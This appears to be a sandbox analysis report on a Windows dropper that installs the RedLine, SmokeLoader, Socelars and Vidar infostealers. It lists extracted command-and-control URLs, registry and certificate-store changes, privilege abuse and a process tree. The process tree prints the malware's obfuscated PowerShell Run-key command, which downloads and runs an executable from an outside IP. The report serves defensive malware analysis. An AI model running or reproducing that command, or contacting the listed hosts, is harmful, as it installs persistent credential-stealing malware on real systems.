redline | 44d025d67d73ae1215ba9483971bc5205afd91ef92cb2aed8410ab70e316e53e

Analysis

max time kernel
21s
max time network
151s
platform
windows7_x64
resource
win7v20210408
submitted
11/08/2021, 10:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0b75632bf041cac607b9a3043843c757.exe
Size 4.3MB
Sample210811-st4m68aces
SHA256 44d025d67d73ae1215ba9483971bc5205afd91ef92cb2aed8410ab70e316e53e
MD5 0b75632bf041cac607b9a3043843c757
SHA1 c3bea64c98d7d9ee17b59302cc2463239cc292b1
SHA512 61a1cb63f4e5bef624f67ccc92d328e99bab8fed0ca079d507feec0c620c27974e551b9ee1a1a38a18b37f7d1407d72b808cd25b73dfb812240d972a558e4337
MD5 SHA1 SHA512

Score

10^/10

redline smokeloader socelars vidar 706 installs aspackv2 backdoor evasion infostealer persistence stealer suricata trojan

Malware Config

Extracted

Family

vidar

Version

39.9

Botnet

https://prophefliloc.tumblr.com/

Attributes

profile_id
706

Extracted

Family

smokeloader

Version

2020

http://aucmoney.com/upload/
http://thegymmum.com/upload/
http://atvcampingtrips.com/upload/
http://kuapakualaman.com/upload/
http://renatazarazua.com/upload/
http://nasufmutlu.com/upload/

rc4.i32

Extracted

Family

redline

Botnet

installs

178.32.202.118:43127

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	2288	rundll32.exe	55

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2680-248-0x0000000000410000-0x0000000000429000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 13 IoCs

resource	yara_rule
behavioral1/files/0x00030000000130d5-60.dat	family_socelars
behavioral1/files/0x00030000000130d5-62.dat	family_socelars
behavioral1/files/0x00030000000130d5-61.dat	family_socelars
behavioral1/files/0x00030000000130d5-64.dat	family_socelars
behavioral1/files/0x00030000000130d5-78.dat	family_socelars
behavioral1/files/0x00030000000130d5-79.dat	family_socelars
behavioral1/files/0x00030000000130d5-77.dat	family_socelars
behavioral1/files/0x00030000000130d5-76.dat	family_socelars
behavioral1/files/0x00030000000130d9-110.dat	family_socelars
behavioral1/files/0x00030000000130d9-124.dat	family_socelars
behavioral1/files/0x00030000000130d9-109.dat	family_socelars
behavioral1/files/0x00030000000130d9-145.dat	family_socelars
behavioral1/files/0x00030000000130d9-144.dat	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata

Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral1/memory/1856-184-0x0000000000400000-0x0000000002CC9000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x00030000000130d1-67.dat	aspack_v212_v242
behavioral1/files/0x00030000000130d1-68.dat	aspack_v212_v242
behavioral1/files/0x00040000000130cd-69.dat	aspack_v212_v242
behavioral1/files/0x00040000000130cd-70.dat	aspack_v212_v242
behavioral1/files/0x00030000000130d3-73.dat	aspack_v212_v242
behavioral1/files/0x00030000000130d3-74.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 13 IoCs

pid	Process
1920	setup_install.exe
1352	21bcc8456d82.exe
1604	5298ab674.exe
1648	4a448bcddaa0b3.exe
784	0fd5c77ed90f39d5.exe
1156	8e14eeece3767.exe
556	268b3127b936e01.exe
1540	28e2ddd2eed6.exe
1484	21bcc8456d82.exe
1856	4aa1e8b379159.exe
1904	268b3127b936e0010.exe
1852	1cr.exe
2464	chrome2.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\International\Geo\Nation	268b3127b936e01.exe

Loads dropped DLL 42 IoCs

pid	Process
1712	0b75632bf041cac607b9a3043843c757.exe
1712	0b75632bf041cac607b9a3043843c757.exe
1712	0b75632bf041cac607b9a3043843c757.exe
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
1920	setup_install.exe
1848	cmd.exe
1600	cmd.exe
1848	cmd.exe
1780	cmd.exe
1652	cmd.exe
1692	cmd.exe
1352	21bcc8456d82.exe
1352	21bcc8456d82.exe
860	cmd.exe
1256	cmd.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
1604	5298ab674.exe
1604	5298ab674.exe
1352	21bcc8456d82.exe
1804	cmd.exe
1804	cmd.exe
1924	cmd.exe
1924	cmd.exe
1540	28e2ddd2eed6.exe
1540	28e2ddd2eed6.exe
1856	4aa1e8b379159.exe
1856	4aa1e8b379159.exe
1904	268b3127b936e0010.exe
1904	268b3127b936e0010.exe
1484	21bcc8456d82.exe
1484	21bcc8456d82.exe
1852	1cr.exe
1852	1cr.exe
1540	28e2ddd2eed6.exe
1540	28e2ddd2eed6.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8e14eeece3767.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	8e14eeece3767.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ipinfo.io
1	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2396	1856	WerFault.exe	47

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	268b3127b936e0010.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	268b3127b936e0010.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	268b3127b936e0010.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	5298ab674.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	5298ab674.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	5298ab674.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	5298ab674.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	5298ab674.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	268b3127b936e01.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	268b3127b936e01.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
556	268b3127b936e01.exe
1904	268b3127b936e0010.exe
1904	268b3127b936e0010.exe
1200	Process not Found
1200	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1904	268b3127b936e0010.exe

Suspicious use of AdjustPrivilegeToken 35 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1604	5298ab674.exe
Token: SeAssignPrimaryTokenPrivilege	1604	5298ab674.exe
Token: SeLockMemoryPrivilege	1604	5298ab674.exe
Token: SeIncreaseQuotaPrivilege	1604	5298ab674.exe
Token: SeMachineAccountPrivilege	1604	5298ab674.exe
Token: SeTcbPrivilege	1604	5298ab674.exe
Token: SeSecurityPrivilege	1604	5298ab674.exe
Token: SeTakeOwnershipPrivilege	1604	5298ab674.exe
Token: SeLoadDriverPrivilege	1604	5298ab674.exe
Token: SeSystemProfilePrivilege	1604	5298ab674.exe
Token: SeSystemtimePrivilege	1604	5298ab674.exe
Token: SeProfSingleProcessPrivilege	1604	5298ab674.exe
Token: SeIncBasePriorityPrivilege	1604	5298ab674.exe
Token: SeCreatePagefilePrivilege	1604	5298ab674.exe
Token: SeCreatePermanentPrivilege	1604	5298ab674.exe
Token: SeBackupPrivilege	1604	5298ab674.exe
Token: SeRestorePrivilege	1604	5298ab674.exe
Token: SeShutdownPrivilege	1604	5298ab674.exe
Token: SeDebugPrivilege	1604	5298ab674.exe
Token: SeAuditPrivilege	1604	5298ab674.exe
Token: SeSystemEnvironmentPrivilege	1604	5298ab674.exe
Token: SeChangeNotifyPrivilege	1604	5298ab674.exe
Token: SeRemoteShutdownPrivilege	1604	5298ab674.exe
Token: SeUndockPrivilege	1604	5298ab674.exe
Token: SeSyncAgentPrivilege	1604	5298ab674.exe
Token: SeEnableDelegationPrivilege	1604	5298ab674.exe
Token: SeManageVolumePrivilege	1604	5298ab674.exe
Token: SeImpersonatePrivilege	1604	5298ab674.exe
Token: SeCreateGlobalPrivilege	1604	5298ab674.exe
Token: 31	1604	5298ab674.exe
Token: 32	1604	5298ab674.exe
Token: 33	1604	5298ab674.exe
Token: 34	1604	5298ab674.exe
Token: 35	1604	5298ab674.exe
Token: SeDebugPrivilege	784	0fd5c77ed90f39d5.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 1920	1712	0b75632bf041cac607b9a3043843c757.exe	26
PID 1712 wrote to memory of 1920	1712	0b75632bf041cac607b9a3043843c757.exe	26
PID 1712 wrote to memory of 1920	1712	0b75632bf041cac607b9a3043843c757.exe	26
PID 1712 wrote to memory of 1920	1712	0b75632bf041cac607b9a3043843c757.exe	26
PID 1712 wrote to memory of 1920	1712	0b75632bf041cac607b9a3043843c757.exe	26
PID 1712 wrote to memory of 1920	1712	0b75632bf041cac607b9a3043843c757.exe	26
PID 1712 wrote to memory of 1920	1712	0b75632bf041cac607b9a3043843c757.exe	26
PID 1920 wrote to memory of 1652	1920	setup_install.exe	28
PID 1920 wrote to memory of 1652	1920	setup_install.exe	28
PID 1920 wrote to memory of 1652	1920	setup_install.exe	28
PID 1920 wrote to memory of 1652	1920	setup_install.exe	28
PID 1920 wrote to memory of 1652	1920	setup_install.exe	28
PID 1920 wrote to memory of 1652	1920	setup_install.exe	28
PID 1920 wrote to memory of 1652	1920	setup_install.exe	28
PID 1920 wrote to memory of 1848	1920	setup_install.exe	29
PID 1920 wrote to memory of 1848	1920	setup_install.exe	29
PID 1920 wrote to memory of 1848	1920	setup_install.exe	29
PID 1920 wrote to memory of 1848	1920	setup_install.exe	29
PID 1920 wrote to memory of 1848	1920	setup_install.exe	29
PID 1920 wrote to memory of 1848	1920	setup_install.exe	29
PID 1920 wrote to memory of 1848	1920	setup_install.exe	29
PID 1920 wrote to memory of 1780	1920	setup_install.exe	30
PID 1920 wrote to memory of 1780	1920	setup_install.exe	30
PID 1920 wrote to memory of 1780	1920	setup_install.exe	30
PID 1920 wrote to memory of 1780	1920	setup_install.exe	30
PID 1920 wrote to memory of 1780	1920	setup_install.exe	30
PID 1920 wrote to memory of 1780	1920	setup_install.exe	30
PID 1920 wrote to memory of 1780	1920	setup_install.exe	30
PID 1920 wrote to memory of 1600	1920	setup_install.exe	31
PID 1920 wrote to memory of 1600	1920	setup_install.exe	31
PID 1920 wrote to memory of 1600	1920	setup_install.exe	31
PID 1920 wrote to memory of 1600	1920	setup_install.exe	31
PID 1920 wrote to memory of 1600	1920	setup_install.exe	31
PID 1920 wrote to memory of 1600	1920	setup_install.exe	31
PID 1920 wrote to memory of 1600	1920	setup_install.exe	31
PID 1920 wrote to memory of 1692	1920	setup_install.exe	32
PID 1920 wrote to memory of 1692	1920	setup_install.exe	32
PID 1920 wrote to memory of 1692	1920	setup_install.exe	32
PID 1920 wrote to memory of 1692	1920	setup_install.exe	32
PID 1920 wrote to memory of 1692	1920	setup_install.exe	32
PID 1920 wrote to memory of 1692	1920	setup_install.exe	32
PID 1920 wrote to memory of 1692	1920	setup_install.exe	32
PID 1920 wrote to memory of 860	1920	setup_install.exe	33
PID 1920 wrote to memory of 860	1920	setup_install.exe	33
PID 1920 wrote to memory of 860	1920	setup_install.exe	33
PID 1920 wrote to memory of 860	1920	setup_install.exe	33
PID 1920 wrote to memory of 860	1920	setup_install.exe	33
PID 1920 wrote to memory of 860	1920	setup_install.exe	33
PID 1920 wrote to memory of 860	1920	setup_install.exe	33
PID 1920 wrote to memory of 1256	1920	setup_install.exe	34
PID 1920 wrote to memory of 1256	1920	setup_install.exe	34
PID 1920 wrote to memory of 1256	1920	setup_install.exe	34
PID 1920 wrote to memory of 1256	1920	setup_install.exe	34
PID 1920 wrote to memory of 1256	1920	setup_install.exe	34
PID 1920 wrote to memory of 1256	1920	setup_install.exe	34
PID 1920 wrote to memory of 1256	1920	setup_install.exe	34
PID 1848 wrote to memory of 1352	1848	cmd.exe	51
PID 1848 wrote to memory of 1352	1848	cmd.exe	51
PID 1848 wrote to memory of 1352	1848	cmd.exe	51
PID 1848 wrote to memory of 1352	1848	cmd.exe	51
PID 1848 wrote to memory of 1352	1848	cmd.exe	51
PID 1848 wrote to memory of 1352	1848	cmd.exe	51
PID 1848 wrote to memory of 1352	1848	cmd.exe	51
PID 1600 wrote to memory of 1648	1600	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\0b75632bf041cac607b9a3043843c757.exe
"C:\Users\Admin\AppData\Local\Temp\0b75632bf041cac607b9a3043843c757.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 268b3127b936e01.exe
    3⤵
    - Loads dropped DLL
    PID:1652
  - - C:\Users\Admin\AppData\Local\Temp\7zS0B680B94\268b3127b936e01.exe
      268b3127b936e01.exe
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Loads dropped DLL
      Modifies system certificate store
      Suspicious behavior: EnumeratesProcesses
      PID:556
    - - C:\Users\Admin\Documents\twMVI78be_Y4mjqhaWlCEPbj.exe
        
        "C:\Users\Admin\Documents\twMVI78be_Y4mjqhaWlCEPbj.exe"
        5⤵
        
        PID:2708
      - C:\ProgramData\Runtimebroker.exe
        
        "C:\ProgramData\Runtimebroker.exe"
        6⤵
        
        PID:2904
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.2''+''41''+''.19.5''+''2/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        7⤵
        
        PID:2232
    - - C:\Users\Admin\Documents\8oGrJnEdOMuWglRQnGOxpRBe.exe
        
        "C:\Users\Admin\Documents\8oGrJnEdOMuWglRQnGOxpRBe.exe"
        5⤵
        
        PID:2700
    - - C:\Users\Admin\Documents\hyY5EuzmFa5loL283C5TAytk.exe
        
        "C:\Users\Admin\Documents\hyY5EuzmFa5loL283C5TAytk.exe"
        5⤵
        
        PID:2692
    - - C:\Users\Admin\Documents\fT3JOUDM846j4n8j9o9D9gqH.exe
        
        "C:\Users\Admin\Documents\fT3JOUDM846j4n8j9o9D9gqH.exe"
        5⤵
        
        PID:2680
    - - C:\Users\Admin\Documents\lj2bspJM2xvMXrFeLXJ_Ch4V.exe
        
        "C:\Users\Admin\Documents\lj2bspJM2xvMXrFeLXJ_Ch4V.exe"
        5⤵
        
        PID:2672
    - - C:\Users\Admin\Documents\tPSQ1SRNir_QG83k1x_sDMV6.exe
        
        "C:\Users\Admin\Documents\tPSQ1SRNir_QG83k1x_sDMV6.exe"
        5⤵
        
        PID:2940
    - - C:\Users\Admin\Documents\lo1f9plfRtSuR5x0Leqc4_jK.exe
        
        "C:\Users\Admin\Documents\lo1f9plfRtSuR5x0Leqc4_jK.exe"
        5⤵
        
        PID:2920
    - - C:\Users\Admin\Documents\98ZB9leTHbhceczY0ttUW3d6.exe
        
        "C:\Users\Admin\Documents\98ZB9leTHbhceczY0ttUW3d6.exe"
        5⤵
        
        PID:2860
    - - C:\Users\Admin\Documents\zAMQKk81ea4f3OR8vkvAtKT2.exe
        
        "C:\Users\Admin\Documents\zAMQKk81ea4f3OR8vkvAtKT2.exe"
        5⤵
        
        PID:2776
    - - C:\Users\Admin\Documents\CfjhraIJjYgK5b4JI2RuRR_J.exe
        
        "C:\Users\Admin\Documents\CfjhraIJjYgK5b4JI2RuRR_J.exe"
        5⤵
        
        PID:3056
